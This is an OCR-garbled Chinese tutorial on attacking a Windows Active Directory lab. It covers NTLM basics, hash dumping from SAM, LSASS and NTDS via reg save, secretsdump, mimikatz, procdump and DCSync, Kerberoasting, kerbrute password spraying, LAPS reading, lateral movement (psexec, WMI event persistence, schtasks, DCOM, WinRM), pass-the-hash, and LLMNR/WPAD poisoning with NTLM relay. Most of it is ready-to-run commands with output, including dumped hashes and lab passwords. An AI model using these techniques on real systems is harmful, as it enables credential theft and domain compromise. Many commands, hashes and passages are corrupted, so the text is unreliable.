fEhashf&BIERT, TLAERAKO:

00000000000000000000000000000000

BETntim\IERITIRE

2.User name

(plaintext)
Client 4«—3 Challenge
1.User name
— Password —» Password ]
Domain name hash
User name
|
|
4. Response B

!

Server




fbREIARIEAN T -

1. BRimRRSHAEIALE

2. [RBB|WENEKE, E—N16{UAIRENEI(XMBENEFRFR/9Challenge), A RIEEIE Fin, HERERAFPEBhashilZChallenge, 3%f§Challenger
3. BERFiniElEIChallengefa, FRERAFPNZEBhashxiChallengefilZ, jK1EChallenge2(XMERMFR Aresponse), EresponseRIXLSIRSSES

4. RSB EWEFmINZEGENresponse, tb&Challengelfiresponse, fNRER, IEMAIN.

FiRPAIresponseR U F FHEIXEE:

NTLM Client challenge: 0000000000000000
= NTLM Response: 83cc241d9772bl486bd8esfafa2c0b060101000000000000. .
Length: 326
Maxlen: 326
offsetr: 154
= NTLMv2 Response: 83cc241d9772bl486bd8e8fafa2c0b060101000000000000. ..
HMAC: 83cc241d9772bl486bd8e8fafa2c0Ob06
Header : 0x00000101
Reserved: 0x00000000
Time: mMay 23, 2020 11:59:13.960334800
unknown: 0x00000000
# Attribute: NetBIOS domain name: DESKTOP-SLE7LS8N
+# Attribute: NetBIOS computer name: DESKTOP-8LE7LSN
+ Attribute: DNS domain name: DESKTOP-8LE7L8BN
# Attribute: DNS computer name: DESKTOP-BLE7LEN
# Attribute: Timestamp
# Attribute: Flags
+
+
+
+
+

Attribute: Restrictions
Attribute: channel Bindings
Attribute: Target Name: cifs/172.16.127.244
Attribute: end of Tist
Attribute: End of Tist
# Attribute: End of list
NTLM client challenge: 5cb0983eab2554ea
Domain name: JUMBOLAB
user name: jumbo
HOsSt name: DCSERVER
session Key: 8bb9b6ff6e8bbad08be3c229377ead2d
Length: 16
Maxlen: 16
offset: 480
# Flags: Oxe2B888215
# version 6.3 (Build 9600); NTLM Current Revision 15
MIC: a582bd2a8fc346d838f18d0dadlaessl
mechListMIC: 01000000d35d641423db136800000000
= NTLM Secure Service Provider
NTLMSSP identifier: \001
NTLM Message Type: Unknown (0x6813db23)

nClCEE

EiRdhfgresponseF AT LA Anet-ntimhash, EltntimhashFE128TLAZKhashi&EiER), Tinet-ntimhashARELL, {BEnet-ntimhashtb el AZ Rk relay,



4.2, FiAREHE

fEwindows E, C:\Windows\System32\config BRRFEIRIAFIZEBhash, FHAITLABERAEXFERIKRIZhash,

{ERregip SIRENA B E#Ehash:

reg save hklm\sam sam.hive
reg save hklm\system system.hive

reg save hklm\security security.hive

E/afAbootkeyf#E ik Ehash,
mp 134 3¢

$ secretsdump.py -sam /tmp/sam.hive -security /tmp/secruity.hive -system /tmp/system.hive  LOCAL
Impacket v@.9.21.dev1+20200313.160519.0056bblc - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: @x@4fd3d5c6a@587e77b6lcbdbc@27ced?
[*] Dumping local SAM hashes (uid:rid:1lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee :31d6cfe@d16ae?31b73c59d7e@cPBcO: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdcS5e9cba88547376818d4: : :
jumbo : 1000 : aad3b435b51404eeaad3b435b51404ee: fb237b9f09412c4167a535697ec69ald: : :

Hit—LTHEE, bl
pwdump?7:

NUsers winuser . JUMBOLAB. BAB\Desktop p>Pudump? . exe
wdump v?7.1 — raw password extractor

Author: Andres Tarasco Acuna

wrl: http:/Zwww.514.es

Administrator:500:NO PASSWORD» s nxnx: 31 D6CFEAD1I6AE? 31 B73C59D7EBCAS

uest :501 :NO PASSHORDeaeaesaaeaaaaaaaexx: 32 EDS8 7BDBS FDCSE?CBAB8547376818D4:- - ¢
jumbo 180 :NO PASSUORD»eenecaaanatananaxx: FB237B7FA9412C4167A535697EC69A1D: = ¢

mimikatz:

privilege::debug

token::elevate

Isadump::sam




mimikatz # lsadump::sam

Domain : WIN?

SvsKey : 04fd3dbcHbaln8le? thblchdhceB? iced?

Local SID : S$S-1-5-21-1598403651-3451771719-2113182804

SAMKey : 851d96b328b844e8e7b918aadIedidoh
RID : 000001f4 (500)

User : Administrator

Hash NTLM: 31d6cfeBdl16ae931b/3ch9diefcBB89cH
RID : 0000O1f5 (501)

User : Guest
Hash NTLM: 32ed87bdb5fdche9cbalB8547376818d4

RID : 000003e8 (1000)
User : jumbo
Hash NTLM: fh237b9f09412c4167a535697ect9ald

PR, Mlsass.exehIREXEATLA, dNEEEFERAmimikatziREL:

privilege::debug

sekurlsa::logonpasswords




msv .
(00000003 ] Prlmary
Username jumbo
Domain - WINY
- 1e866636c7302d451aa818381ebe281b
th237b9t09412c4167an35697ecH9ald
alfe55f161f8143ch66087al’belba82467f062¢

* Username : jumbo

» Domain - WINY

= Password : Jumbol?23
wdigest

= |Jsername : jumbo

= PDomain - WINY
* Password : Jumbol?23

Procdump+Mimikatz:

procdump64.exe -accepteula -ma Isass.exe Isass.dmp

mimikatz.exe "sekurlsa:minidump Isass.dmp" "sekurlsa::logonPasswords full" exit

MANABNMAZANERL, EEXEkb2871997R9E#, kb28719974MT 2MMF&RER T wdigest sspLASNEfhsspRIBASENR, BXfFwdigest ssp REGEEEEA. AR RTLUEEE
HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential B 90kZZH,
Effwinserver 2012 R2RLA LIRATENIAEERL. fEwinserver 2012R2 EEWIN, FENRMN_ERIEMFRENT, REMED, KMAIABwdigestBEMEIBANERET



L §-1-5 91-4288736272-2299089681
msy

[0OBBBOAB3] Primary

= Username : Administrator

= Domain : JUMBOLAB

= NTLM : BcfdB2daadslo2cctlc968030dale
= SHA1 1 71954e91903f4744706e670d7df 3T
[00018000]1 CredentialKeys

= NTLM : BefdB2daa85152ccf1c968530da3e
= SHA1 : 71954e91903F 47447066 70d7df 3T
[00010000] CredentialKeys

= NTLM : fhbccfdlaa%5a2ab?3f33c82c8al
= SHA1 : f941d24f43abbefb9f77d48a987F9
tspkg :
wdigest :

= lsername : Administrator

= [omaln : JUMBOLAB

= Password : AdminLabl23!'@#
kerberos :

= Username : Administrator

= Domain : JUMBOLAB.COM

= Password : {(null)
ssp KO
credman :

BIR—Tkb28719974NTH&E, BRT "fER" EABANEREE, & "##R" Tpth[a@, {B=2kb287199733FAMtbAdministrator(rid/9500, BERFRIAridRMABFR) AR
EERANEAFRRETR.

4.3, fFhash

SRR, ATLANEIEFAIC\Windows\NTDS\NTDS.ditSHFrEREFhash, EAntds.dit# 5, ELtFEEFBNEERDEFRcopydtintds.dit, RAEFIBW
NTDSDumpEx.exefEtfrhash:



til>NTDSDumpEx . exe -d "Retive Directery’\ntds.dit” -o hash.txt -s registr

C:\ntdsutil>

hash.txt - i2E#& \;‘i.
I{H(F) RIR(E) 18z(0) =E(V) #EIH)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0cfd02daa85152ccf1¢968530dal3el67: ::
Guest:b01:aad3b435bb1404eeaad3b43bbh1404ee:31d6cfe0d16ae931b73c59d7e0c089c0: : :
krbtgt:502:aad3b435b51404eeaad3bd35b51404ee:53ea4581cf3058208630c885419fcff7: ::
win7user:1104:aad3b435b51404eeaad3b435b51404ee:31d6cfeld16ae931b73c59d7e0c089c0: : :
winlOuser:1105:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089¢0: : :
serviceaccount:1108:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢0: : :
winlOuser:1111:aad3b435b51404eeaad3b435b51404ee:8110957chHb2f05df12b2501f4bfcd659: ::
winTuser:1112:aad3b435hb51404eeaad3b435b51404ee:b367819c0a8ccd792cad1d034f56alfa: ::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0dl6ae931b73c59d7e0c089c0: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d]16ae931b73c59d7e0c089c0: : :
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0: : :

[#]

S#ENntds. dithy, BTNE. XEXNFEE, FTLAERDRSHYIREKhashEHE:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:;jumbolab.com /all /csv" exit

Privilege '208° 0K

mimikatz # lsadump::dcsync /domain:jumbolab.com /all /csv

[DC]1 "jumbolab.com’ will be the domain

[DC]1 'DCServer.jumbolab.com’ will be the DC server

Exporting domain ' jumbolab.com’

krbtgt 53ead581cf3058208630c885419fFcff7
spntest$ £b94557290alfhfd?hc34250b057218b
testtest$ 3c99b8901b00758369F18b9dF 720128
DCSERVER2% 9263cdd5dd763bd?7a18f38045c605b3
CHILD$ dabfd33908d1fd62e9d28fd714829082
spnspnspn$ 4F95F98akbhef 1a6801d8d315dclce’e8
DCSERVER% 5078b4e93acc9954cBe90bc986281105
WIN10$ aa3bd621fB26falddch04833F39a2096
winlBuser 81f0957c5b2f05df12b2501f4bTcdbn9
WIN7?7$  9106cclbieffdBd337cB57977d9439910a
Administrator BcfdB2daa8s152ccflc968530da3elt?
winluser b367819cBa8ccd?92cadldB34fo6alfa

BEATABMEIRNERS, BrFAER, BT LERAIkb28719978E LIS, BB "Reversible Encryption”



| | AT A EERE TS

| il S Bt ER
~AFEER :

® FFIHV)
O Tz E(E): 2020

I HE FMTHAINFRY T

4.4, tokengiHY

token2— MERHERLELE FTNRIXNSR, tokenBISHEET SHERLEXKNAFPKSHMRIEN, ZRAFEREN, RABTERAFPEBRSREEUEEHITHXIRIGIE
FFZMBERYE, NREBIER, RAEBEMGRtoken, ZRAFMHEE#ETZtoken, FILIFIADuplicateTokenEx apixdElBGtokentIEH, ASEEMH
CreateProcessWithToken apixdE#IatokenBIEZ—NFAUHZ. MR T:

B systemiNfRIFFE:

Blbrowser br.. 1288 IE{Hi&fT jumbo 00 0K B2
CoChsIME.exe 3768 TF{EIR(T jumbo 00 2,028 K EEFR
45ChsIME.exe 5948  IEfHE(T SYSTEM 00 0K FAiF
s cd.exe 206 [EfEErT SYSTEM 00 92K Aor
B cmd.exe 1616  IETEIGIT jumbo 00 0K FRAaiF

LladministratorifREFENIZiHFEtoken, BIHIRENsystemiNpR:

e

SR, N A LAER LiRT5E.

4.5, Kerberoasting



fEKRB_TGS_REPH, TGS&iR[EI4EClient—3KEHEST, MSTRMAClientigKkAIServerinZi3HiTINER. ZiKerberosthRERIEARCATININER, FAIMTLUBSIERKEClient
IRIRENEISRIEST, MMZkEServerimfI=Ea,
£ EIASPNEREESBR— Mg A testiEM T —SPN, FHANBKTGS:

powershell

$SPNName = 'test/test’

Add-Type -AssemblyNAme System.ldentityModel

New-Object System.ldentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

PS C:\Users'win?user.JUMBOLAB.BBA“Desktop> $SPHMame = ’test/test’

PS C:~Users winZuser.JUMBOLAB.BBB“Desktop> Add-Type —AssemblyNMAme System.Identit
yMode 1l

PS C: \Users winZuser.JUMBOLAB.@BADesktop? Mew—-0hject System.ldentityModel.Token
= . KerberosRequestorSecurityToken —ArgumentList $SPNName

: unid-e3f5e691-028e—4h40—-90h1-6b32f3928c45-1
: {System.ldentityModel.Tokens.InMemorySymmetricSecurityKe
[T3
- 282869 15:24:16
- 2828-6-18 1:23:83
ServicePrincipalName : test/test
SecurityKey : System.ldentityModel.Tokens.InMemorySymmetricSecurityKey

PS C:“\Users winZuser.JUMBOLAB.@@ADesktop> klist

BREAmMmimikatz&H4 :

kerberos::list /export

|| 0-60a10000-win7user@krbtgt~JUMBOLAB.COM-JUMBOLAB.CO... 2020/6/
|| 1-40e10000-win7user@krbitgt~JUMBOLAB.COM-JUMBOLAB.CO... 2020/6/
|| 2-40a10000-win7user@test~test-JUMBOLAB.COM.kirbi 2020/6/¢
|| 3-40a50000-win7user@ProtectedStorage~DCServerjumbolab.co.. 2020/6/¢
|| 4-40a50000-win7user@cifs~dcserverjumbolab.com-JUMBOLAB... 2020/6/
|| 5-40a50000-winT7user@|dap~dcserverjumbolab.com-JUMBOLA...  2020/6/
|| 6-40a50000-winJuser@LDAP~DCServerjumbolab.com~jumbola..  2020/6/

(K]
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(Nl



SRIGFIFAtgsrepcrack R R :

python tgsrepcrack.py wordlist.txt 2-40a10000-win7user@test\~test-JUMBOLAB.COM .kirbi

R IIRBUZ IS AP E

$ python tgsrepcrack.py wordlist.txt 2-40a10000-win7user@test\~test-JUMBOLAB.COM.kirbi

found password for ticket @: aAl23456 File: 2-40al@@00-win7user@test~test-JUMBOLAB.COM.kirbi
All tickets cracked!

4.6, ML

5%, KA., AT, BaTLA=idXdsmb, 3389, mssqlssASHITEIRRNOERE, EEETELKE, BHRHAERS, HR, UIUERFARKS, BNZEBEHT=R.
XEBfERkerbruteXtiF AR/ ZREH#ITRIRE:
e ivd=z

kerbrute userenum -d jumbolab.com usernames.txt

C:“Users*winFuser.JUMBOLAB.BB88 Desktop>kerbrute_windows_amdt4.exe userenum —-d ju
mholahbh.com username .txt

Uersion: vli.B.3 (9dadbel> — B6-/89-28 — Ronnie Flathers BEropnop

20280609 21:49:23
2028-86-89 21:49:23
20280609 21:49:23
21:49:23
21:49:23
21:49:23
21:49:23
21:49:23
21:49:23

Using KDC{(s)>:

dcserver. jumbolab.com:88

[+1 UALID USERMAME: administratorf@jumbolab.com
[+]1 UALID USERNAME: test@jumbolab.com

[+]1 UALID USERNAME: win?7@jumbolab.com

[+]1 UALID USERNAME: winl@@jumbolab.com

[+1 UALID USERNAME: winlBuser@jumbolab.com

[+1 UALID USERMNAME: winZuser@jumbolab.com
Donet Tested ? usernames €6 valid> in B.A16 seconds

VW OW WV WY Y VY

C:“UserswinPuser.JUMBOLAB. B8 \Desktop>




CRENAERp

kerbrute passwordspray -d jumbolab.com username.txt aA1234567

C:\Users winZuser.JUMBOLAB. BBB\Desktop>kerbrute_windows_amndb4.exe passwordspray
—d Jjumbholab.com username.txt afl123456%

v _ g

Uersion: v1.0.3 (9dadbel)> - B6-89/28 — Ronnie Flathers Cropnop

2020-06-09 21:58:58 > Using KDC(s):

2020-86-89 21:58:58 > dcserver.jumbolab.com:88

20280-06-89 21:58:5%8 > [+] UALID LOGIN: winPuserfjumbolab.com:af1234567
20280-06-89 21:58:5%8 > Done?! Tested ? logins {1 successes? in B.084 seconds

4.7, LAPS

LocalAdministrator Password Solution@ZEiBRRGTE, ATHIE—aYSEINAIZRE, AENAEEREBHERSEWERSE, ERUFERENNZERE, HRMNETE
=i, AT BEEITEVAEE, YNREEAYEN, S EMARENRESMAITEN A :

powershell

Get-ADComputer computername -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd

WNRZELAPS, HERENRUFIRERET:

C:\Users\Administrator>wmic product get name,version

Name Version
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.20.27508 14.20.27508
Mware T001s 11.0.5.15389592

MICIUSUT L Visudl Cr+ 2013 A04 Minimum Runiime - 14.20.27508 14.20.27508

Loca1 Administrator Password Solution 6.2.0.0
2000 woc _addie Sleadma 114.20,.27508 14.20.27508

osoft V15ua1 C++ 2019 X64 Add1t1ona1 Runtime - 14.20.27508 14.20.27508




/(5 HEmEm

SEAVREEIE NN RKSZD. KB ElhashT, FEBAINZEAM, WAEAM, XMRAENABIRE. SR, SBRNETESHIESRN, IKICT, BRKELRTD,
5.1. WKSEMEHEE
SEAVRNENRNOKSEBNIHR, TUSHABU TS NE TERATHS.

a. IPC

net use \\1.1.1.1\ipc$ “password” /user:username

b. Psexec

# RS BEHRIE
psexec \\target -accepteula -u username -p password cmd.exe

psexec.py jumbolab.com/administrator@172.16.127.184

c. WMI

# J3ik—

wmic /user:"jumbolab.com\win7user" /password:"password" /node:172.16.127.184 process call create "notepad"

# FiE=

Invoke-WmiMethod -class win32_process -name create -argumentlist 'notepad' -ComputerName 172.16.127.184 -Credential 'jumbolab.com\win7user’

# FiE=
$filterName = 'BotFilter82'

$consumerName = 'BotConsumer23'

$exePath = 'C:\Windows\System32\notepad.exe'




$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE Targetinstance ISA 'Win32_PerfFormattedData PerfOS System'"

$WMIEventFilter = Set-Wmilnstance -Class __EventFilter -NameSpace "root\subscription” -Arguments @{Name=5$filterName;EventNameSpace="root\cimv2";
QueryLanguage="WQL";Query=%$Query} -ErrorAction Stop -ComputerName 172.16.127.184 -Credential 'jumbolab.com\win7user’

$WMIEventConsumer = Set-Wmilnstance -Class CommandLineEventConsumer -Namespace "root\subscription” -Arguments @{Name=$consumerName;Execu

tablePath=$exePath;CommandLineTemplate=$exePath} -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’

Set-Wmilnstance -Class _FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

d. Schtasks

schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru "SYSTEM" /tn "windowsupdate" /sc DAILY /tr "calc" /F

schtasks /run /s 1.1.1.1 /u domain\Administrator /p password /tn windowsupdate

e. AT

at \\1.1.1.1 15:15 calc

f. SC

sc \\1.1.1.1 create windowsupdate binpath= "calc"

sc \\1.1.1.1 start windowsupdate

d. REG

reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG SZ /d "calc"

h, DCOM

# FiE—
$com = [activator]::Createlnstance([type]::GetTypeFromProgID("MMC20.Application”,"1.1.1.1"))

$com.Document.ActiveView.ExecuteShellCommand(‘cmd.exe’,$null,"/c calc.exe","Minimized")

# FiEZ
$com = [Typel::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")

$obj = [System.Activator]::Createlnstance($com)




$item = $obj.item()

$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

# A=
$com = [Typel::GetTypeFromCLSID('CO8AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")
$obj = [System.Activator]::Createlnstance($com)

$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

i. WINRM

winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password "whoami"

winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password "whoami "

||C:\Usera\min7user.JUHBOLHB.BBB\Desktnp>winrs -r:http://dcserver.jumbolab.com:598

5 —u:jumbolabsadministrator —p:AdminLabi23t*@# “"vhoami''
ljumbo labhadministrator

5.2, PTH

SFANZBEPEXKSES, RBhashiy, alLA=Hhash{&iE,

5.2.1 impacketEf
IIB#edE: https://github.com/SecureAuthCorp/impacket

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c domain/administrator@1.1.1.1 "whoami"

psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:518B98AD4178A53695DC997AA02D455C domiain/administrator@1.1.1.1 "whoami"

smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:CCEF208C6485269C20DB2CAD21734FE7 domiain/administrator@1.1.1.1 "whoami"




5.2.2 Invoke-TheHashE{4
IMB#kHE: https://github.com/Kevin-Robertson/Invoke-TheHash/

Invoke-WMIExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFFOC3548187607A14BADOF88BB1 -Command "calc.exe" -verbose

Invoke-SMBExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BADOF88BB1 -Command "calc.exe" -verbose

PS C:“Users win7user.JUMBOLAB.BABBDesktopsInvoke-TheHash?> Invoke-lWMIExec —TargetE
winl@ —Domain jumbolab.com —Username administrator —Hash BcfdB2daaB5152ccfic?6
8530da3el6? —Command “calc.exe' —verbose

“A4=2.: Connecting to wini1@:135

“ [+]1 jumbolab.com“administrator accessed YMI on winlB
4 [#] Connecting to winlB:49666
> [*] Attempting command execution
[+] Command executed with process ID 3388 on winlB

5.2.3 mimikatz
FERINTGRS:

privilege::debug
sekurlsa::pth /user:test1 /domain:test.local /ntIm:7ECFFFF0C3548187607A14BADOF88BB1

#Hcemd:

/ntlm:0cfdo:

> null

THRKB2871997#NT /5, RILAFERAAES-256% (8 1Thash{&ié:
IMENAES-256%%48 :

mimikatz:
privilege::debug
sekurlsa::ekeys

privilege::debug




sekurlsa::pth /user:test1 /domain:test.local /aes256:aes256key

5.3. NTLM-Relay

FAEE "E@M" NIETH, BHEENEERIIA, BRMNETLEN "t KE, SBIABERNE, SBERELRRATLEN, B+ ARE?

S E 7N

win7172.16.127.184 Ei@Eim A
win10172.16.127.170 &
dcserver172.16.127.173 iz
kali172.16.127.129 EH

MATHR:

Responder, impacket

5.3.1 LLMNR

FR—RERNE, BENSELRENT (LLMNR) 22— ETHNAER RS (DNS) RSN, FEEXUTAIIPVATIIPVORIENRHTRTRENT AE—AithiEiE LAIE.
EEE8aEWindows Vistadh, Windows Server 2008#1, Windows 75, Windows 8 #1fWindows 10, BtB#FLiEsystemdfELinux_t-resolved, LLMNRENXTERFC
4795,

7EDNS IRSZESATT RS, DNS ZRimit &N T LA ERE 2 B2 FRENT (LLMNR—Link-Local Multicast Name Resolution) (tBFRAZZ#E DNS 5t mDNS) SRR AL ER
FHIBFR, Fla0, wWNRIRASSHIMME, WML ERIFRE DNS IRE[/UIMT T FR, NSz LLMNR 97/ _ENZEPima] USRS SEM FEFER, BRINEEEERRNLE,

bR T EM R HIMERRVIER TREHBFREETLASN, LLMNR 2T IGETERE (Fign, YURERNKE) SEEIFEER.

BRERAIEXEAR: (RIEFAMPINIGAESFENNER, Wjumbo0l, ZB—XIFA/INOEM T AFERTIERjumbo02, EFIHHMAAAMFERjumbo02il, HIRBRE
jumbo02fJ AN,



WEHEFiAEv1.0
BAERIIUNRIBE—ERFENNEEjumbo02, BUTXANMER

PR
Windows FoiZiia \\jumbo02

EREEHRNHS. Sl NETEEEE. EEAREFREMEETE  FRE 2",

OF- B

RN RBIEE FIHEEERjumbo02fIRHER Z VR, MEXNMER
WEAIAAT

responder -I eth0

ZRFigihEjumbo0 iR RE BN EG



W

Windows =2

NS
BRI EELEE umbo02

= |

== |

i JUMBOLAB
[ icEsRasEsE

D EmnE.

"=

Blie

MAERRE, WEWEInet-ntim:




[LLMNR] Poisoned answer sent to 172.16.127.170 for name WINabcaa
[LLMNR] Poisoned answer sent to 172.16.127.170 for name WINabcaa
[LLMNR] 'Poisoned answer sent to 172.16.127.170 for name jumbo®2
Skipping previously captured hash for JUMBOLAB\winlOuser
[LLMNR] Poisoned answer sent to 172.16.127.170 for name jumbo®2
Skipping previously captured hash for JUMBOLAB\winl@user
[LLMNR] Poisoned answer sent to 172.16.127.170 for name jumbo02
Skipping previously captured hash for JUMBOLAB\winlOuser
*¥] [LLMNR] Poisoned answer sent to 172. 16 127.170 for name jumbo02
SMBv2] NTLMv2- SSP Cllent M1E72.16

WZEnet-ntimAREAIF T A=K F FAhashcatif (T RS I,

5.3.2 WPAD
FTR—RERNEA, WBREENEIMNY (Web Proxy Auto-Discovery Protocol, WPAD) R—fh&EFin{EADHCPHI/EDNS AT AR EN— MR EXHFURLAYSE. EEN
MTHEEXME, ETUPITEREN4LINEREURLMN ERE.

FFRENXEAR: MEIFNERNEE. BALN, RFNEFRE T LNENGNIRE (BOARE) , EFHLINNEHER, HieE), ERwpadiRSEEM, REwpadiRSEEM,
REEEpac)HFLENET.

WEHEFizv1.0
BARNABEIFIFERNMLE www.chinabaiker.com BIERNMTE T —NEBHESITTOIT 7T —1FE, RWASEERIIER5|1E X, sFRxLELE, B

%0 www.chinabaikee.com



e 1> | http://cn.bing.com/search?g=www.chinal © ~ & | [ www.chinabaikerr.com - ...

ERkE  EHER

b www.chinabai{err. om jo,

T[] Eh e E 5k E

3FER HEFR -

www.chinabaiker.com # hERZEESS

www_chinabaikerr.com www.chinabaiker..com www_chinabaiker.ccom www.chinabaiker.coom
www_chinabaiker.com ww.wchinabaiker.com wwwc. hinabaiker.com ..
acnow.net'www.chinabaiker.com ~

. . “ oo —+ .
chinabaiker.com -n Z - BUC- |y | W T * o f=.. @A
chinabaiker.com: W 0 *0 8 _hwt.4¢ 6 5 3| . Read our chinabaiker.com Review - Stat Analysis
Report - including SEO Report, whois lookup and website valuation or worth.
hitps:/fwww.zonewhois.org/www/chinabaiker.com.html ~

www.chinabaikerr.com X% %

xfinity email xfinity browser

BBUNER KA miEWpadiRSZERA0IE, BRENNIT

responder -l ethO -wFb

O a ARSI

WPAD proxy

XEB(ER-bSHGRHEA40TINIE
BERImHE— MM FENES SR HERE



e & httpi//213asjdasdasdasdaaccccceeddd.. O v X || 0O [FHESSS 213asjdasdasda...

| Windows =2 X
iexplore
BBEE8 213asjdasdasdasdaacccccccdddddd EES{(FE B EH=

8. [REfEEETXE Authentication Required,

5 HEA=2NER HEREFRSh B EEEFNArENESE.

|Jumbo ‘

e \

L] ietEEmmEs

MAKSEBLE, BIMEBAXIKSED

aster Browser

[HTTP] GET request from: 172.16.127.1760 URL:
[HTTP] Host Tepale ' 3sdaar
[HTTP] Basic Client .

[HTTP] Basic Username
[HTTP] Basic Password




GET / HTTP/1.1
Accept:_image/gif, 1magefjpeg, image/pjpeq, application/x-ms-application, application/
xaml+xml, application/x-ms-xbap, */*

Accept-Language: zh-CN

user-agent: mozilla/4.0 (compatible; MSIE 7.0; windows NT 10.0; wOwéd;

Trident,/8.0; .NET4.0C; .NET4.0E)

Accept-Encoding: gzip, deflate

Host: 213asjdc

Connection: Keep-Alive

HTTP/1.1 401 unauthorized

server: Microsoft-I1Is/7.5

Date: Mon, 15 Apr 2019 02:56:57 GMT

Content-Type: text/html

Www-Authenticate: Basic realm="aAuthentication Required"”
Access-Control-Allow-origin: *
Access-Control-Allow-Credentials: true

Content-Length: 0

stream Lontent

GET / HTTP/1.1

Accept: image/gif, 1mage/jpeg, image/pjpeg, application/x-ms-application, application/
xaml+xml, application/x-ms-xbap, *3*

Accept-Language: zh-CN

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 10.0; wowb4;

Trident/8.0; .NET4,0C; .NET4.0E)

A ccapt—EReadinag—azio deflata

L -
Host: 213asjdc
connection: Keep-Alive .
Authorization: Basic MTEGMjEzMw==

HTTP/1.1 200 0K

Server: Microsoft-IIS/7.5

Date: Mon, 15 Apr 2019 02:56:57 GMT
content-Type: text/html
www-Authenticate: NTLM
Content-Length: 84

<img src="f1ile://RespProxysrv/pictures/logo.ljpg’ alt="Loading’ height="1" width="1">

WEFiEv1.1
BRARRAIBEE LR P i N pac, HiegEpacEELLE iR
WEHHAIT

70

MEEKNXA, XEHFAmsEEburpERAENEFimiitE.

=

use auxiliary/spoof/nbns/nbns_response
set regex WPAD

set spoofip attackip

run

use auxiliary/server/wpad

set proxy 172.16.127.155

run

fIFburp, LAFREIRHERERRE—MWEFRITLEEAIfirefox BIh



China
Baiker

O e (=S

At A= B EERIREYE, SLhR EREAMS16-077+NT A,

In 2016 however, Microsoft published a security bulletin MS16-077, which mitigated this attack by adding two important protections:

— The location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

- Authentication does not occur automatically anymore even if this is requested by the server.

FAMiItm6iLZE IR ERK(INipv6 dnsiRS 28

e IPvb HiEhE feB80:172:16:127:141%7
fel80:ufcdf.db23:b85a:9fdb67

IPvE DNS BRSSEE: fe80:20c:29ff:feb8:3fd5%67

IPvd titik: 17216127141

IPvd DNS BES &% 172.16.127.2

= DNS EE&: localdomain

DNS EEEFE?IFE= jumbolab.com

HiSRE: Intel Corporation

P Intel(R) 82574L Gigabit Metwork Connection

wpadpiIhEchrome LEIR



= BB (@, (. B @
PS: LALALIIERAEIEEPIIES,

WikFixv2.0
FERTEZ, BEENRSEENR, ARMIZAEsmb relay, BEXNEREREMREMS08-068% T HFIEE T, BEXNMNRBERIIERRLsMbEZEHE R THITNTLM-
Relay# k. BfilhiTresponder, B5cXiAiEsmb, {iFTHRAIntImrelayxfEH.

Kerbe
FTP = On

responder -l ethO

ntimrelayx.py -t 172.16.127.173 -l ./

EENSFBAAFERVER, Sh%EEE=s, FimIhikEshell

Authenticating against smb://172.16.127.173 as JUMBOLAB\winl@user SUCCEED
Started interactive SMB client shell via TCP on 127.0.0.1:11002
SMBD-Thread-9: Received connection from 172.16.127.170, attacking target smh
172.16.127.173

Authenticating against smb://172.16.127.173 as JUMBOLAB\winl@user SUCCEED

Started interactive SMB client shell via TCP on 127.0.0.1:11003
SMBD-Thread-11: Received connection from 172.16.127.170, attacking target s
FIrElh.127.173

Authenticating against smb://172.16.127.173 as JUMBOLAB\winl@user SUCCEED
Started interactive SMB client shell via TCP on 127.0.0.1:11004




rce Basic F#]
rce LM dDW'[*]
ngerprint )

Target system
Target system
Dumping local
[*] Dumping local

neric OptiGagministrator:500:

" IP pdministrator:500:

allenge seijgy...

Authenticating against s

bootKey: ©xf9259efl36cacca7b7ad@9cbed921e01

bootKey: 0xf9259efl36cacca7b7ad®@9cb0d921e0l

SAM hashes (uid:rid:lmhash:nthash)

SAM hashes (uid:rid:lmhash:nthash)
148c9d6ce7add9bdaf9e609916834elb: 0cfdB2daa85152ccf1c968530da3e

140c9d6ce7add9bdaf9e609916834elb:0cfde2daaB8s152ccflc968530da3e

n't RESPON(Guest:501:aad3b435b51404eeaad3ba35b51404ee: 31d6cFe0d16ae931b73c59d7e0cOBICO: : :
[*] Done dumping SAM hashes for host: 172.16.127.173
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0cO89cO: : :
[*] Done dumping SAM hashes for host: 172.16.127.173

stening TOi[.] smBp-Thread-7:

LMNR]  Pols, 175 16.127.173
LMNR]

LMNR]

LMNR] P“}[*] Dumping local

LMNR]  Poi:pqministrator:500:

